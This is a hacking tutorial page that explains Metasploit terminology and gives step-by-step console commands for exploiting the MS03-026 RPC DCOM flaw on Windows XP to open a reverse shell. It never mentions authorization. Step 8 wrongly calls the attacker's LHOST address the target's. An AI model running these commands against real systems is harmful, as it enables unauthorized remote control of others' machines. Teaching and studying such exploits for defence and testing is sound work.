Hack Like a Pro: How to Exploit and Gain Remote Access to PCs Running Windows XP « Null Byte :: WonderHowTo

In myfirst installmentin this series on professional hacking tools, we downloaded and installed Metasploit, the exploitation framework. Now, we will begin to explore the Metasploit Framework and initiate a tried and true hack.Before we start hacking, let's familiarize ourselves with Metasploit so that when I use certain terms, we all understand them to mean the same thing. When first looking at the Metasploit Framework, it can be a bit overwhelming with the various interfaces, options, utilities, and modules. Here we'll try to make it understandable so that we can execute our first exploit.TerminologyThe following terminology is not only used within the Metasploit Framework, but throughout the professional hacking and penetration testing communities. As a result, any professional in this field should be familiar with these terms and be able to clearly distinguish them.ExploitExploit is the means by which an attacker takes advantage of a flaw or vulnerability in a network, application, or service. The hacker uses this flaw or vulnerability in a way that the developer or engineer never intended, to achieve a desired outcome (e.g. root access). Some more common exploits that you've probably already heard of are SQL injections, buffer overflows, etc.PayloadA payload is the program or code that is delivered to the victim system. Metasploit has pre-built payloads for this purpose included in the highly useful Meterpreter, or you can develop your own. This payload is designed to provide the attacker with some capability to manage or manipulate the target system for their particular needs.ShellcodeThis is a set of instructions used as a payload when the exploitation occurs. Shellcode is typically written in assembly language, but not necessarily always. It's called "shellcode" because a command shell or other command console is provided to the attacker that can be used to execute commands on the victim's machine.ModuleA module is a piece of software that can be used by the Metasploit Framework. These modules are interchangeable and give Metasploit its unique power. These modules might be exploit modules or auxiliary modules.ListenerThis is that component that listens for the connection from the hacker's system to the target system. The listener simply handles the connection between these systems.ShowMetasploit Framework has hundreds of modules and other utilities. As a result, you will not be able to remember them all. Fortunately, the show command can grab a listing of all modules, options, targets, etc. in your framework.Now that we have the basics of Metasploit concepts and commands down, let's hack a system!Step 1: Getting StartedFirst, open a terminal in Linux.One of the most reliable hacks is on the ubiquitous Windows XP system with theRPC DCOM. It's a buffer overflow attack that enables the attacker to execute any code of their choice on the owned box (note Microsoft's comment under impact of vulnerability). Microsoft identifies it as MS03-026 in their database of vulnerabilities. In our case, we will use it to open a reverse shell on our target system.Open the the Metasploit console.msfconsoleBe patient, it takes awhile for Metasploit to load all of its modules. The current version of Metasploit has 823 exploits and 250 payloads.Step 2: Find the ExploitMetasploit allows you to search using the search command. In our case, we are searching for a DCOM exploit, so we can simply type:msf > search dcomStep 3: Set the ExploitNow let's tell Metasploit what exploit we want to use. Typeuseand the name of our exploit, exploit/windows/dcerpc/ms03_026_dcom.msf > use exploit/windows/dcerpc/ms03_026_dcomNote that the prompt has changed and now reflects our chosen exploit.Step 4: Set the OptionsNow that we've chosen our exploit, we can ask Metasploit what our options are. By typing show options, Metasploit will list our options in executing this exploit.msf > show optionsStep 5: Set Remote HostMetasploit will now ask us for the RHOST. This will be the IP address of the remote host or the machine we're attacking. In our case, it's 10.0.0.3. Use the actual IP address of the machine you are attacking. Tools such as nmap can help in identifying the IP address of the machine you are attacking. Notice in the picture above that Metasploit tells us that we will be using (binding) port 135.msf > set RHOST 10.0.0.3Step 6: Show PayloadsNext, we check to see what payloads are available for this exploit. Type show payloads at the Metasploit prompt:msf > show payloadsStep 7: Set PayloadNow that we can see what payloads are available, we can select the generic/shell_reverse_tcp by using the Metasploit consolesetcommand. If successful, this will establish a remote shell on the target system that we can command.msf > set PAYLOAD generic/shell_reverse_tcpStep 8: Set Local HostNow that we've chosen the exploit and the payload, we need to tell Metasploit the IP address of our attacking machine. In this example, our target system has an IP address of 10.0.0.6. Use the actual IP address of the system you are attacking. Tools such a nmap, can help you obtain IP addresses.msf > set LHOST 10.0.0.6Step 9: ExploitNow we command Metasploit to exploit the system:msf > exploitStep 10: Open a Shell on the Hacked SystemType the commandsessions –i 1to open a command shell on the XP system that will appear on your Metasploit console.sessions –i 1To confirm that the command shell is on the Windows XP system, typedirto get a directory listing on the Windows XP system that you now own!C: >dirCongratulations! You have just hacked your first system using Metasploit!In my upcoming lessons, we will look at hacking Linux systems and introduce you to the powerful Meterpreter, Metasploit's proprietary payload.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto byfeedageRelatedHow To:Protect your PC by disabling Remote DesktopHow To:Use the Remote Desktop application in Windows XPHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHow To:Use Remote Desktop in Windows 7 to connect to an XP PCHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHow To:Access & Control Your Computer Remotely with Your Nexus 5How To:Connect a Windows Vista PC to an XP computer using Remote DesktopHow To:Use & enable Remote Desktop Connection in Windows XPHow To:Run an VNC Server on Win7How To:Your Complete Guide to Using Remote Desktop on the Microsoft Surface and Windows 8Hack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHow to Hack Windows 7:Sending Vulnerable Shortcut FilesHow to Hack Like a Pro:Getting Started with MetasploitHow To:Control your PC from anywhereHack Like a Pro:Remotely Add a New User Account to a Windows Server 2003 BoxHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHow To:Install VNC remotely on a Windows XP PCHack Like a Pro:How to Take Control of Windows Server 2003 Remotely by Launching a Reverse ShellNews:Shadow Brokers Leak Reveals NSA Compromised SWIFTHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHow To:Recover Passwords for Windows PCs Using OphcrackHow To:Bored with Your Surface Pro? BlueStacks Lets You Run Any Android App on Windows 8Hack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterDrive-By Hacking:How to Root a Windows Box by Walking Past ItNews:VARIOUS WINDOWS ISSUES RESOLVED BELOW...How To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItNews:WINDOWS 7 (FIX TWEAK, REPAIR, CONJOIN SHELLS ETC...)How To:Hack a computer for remote access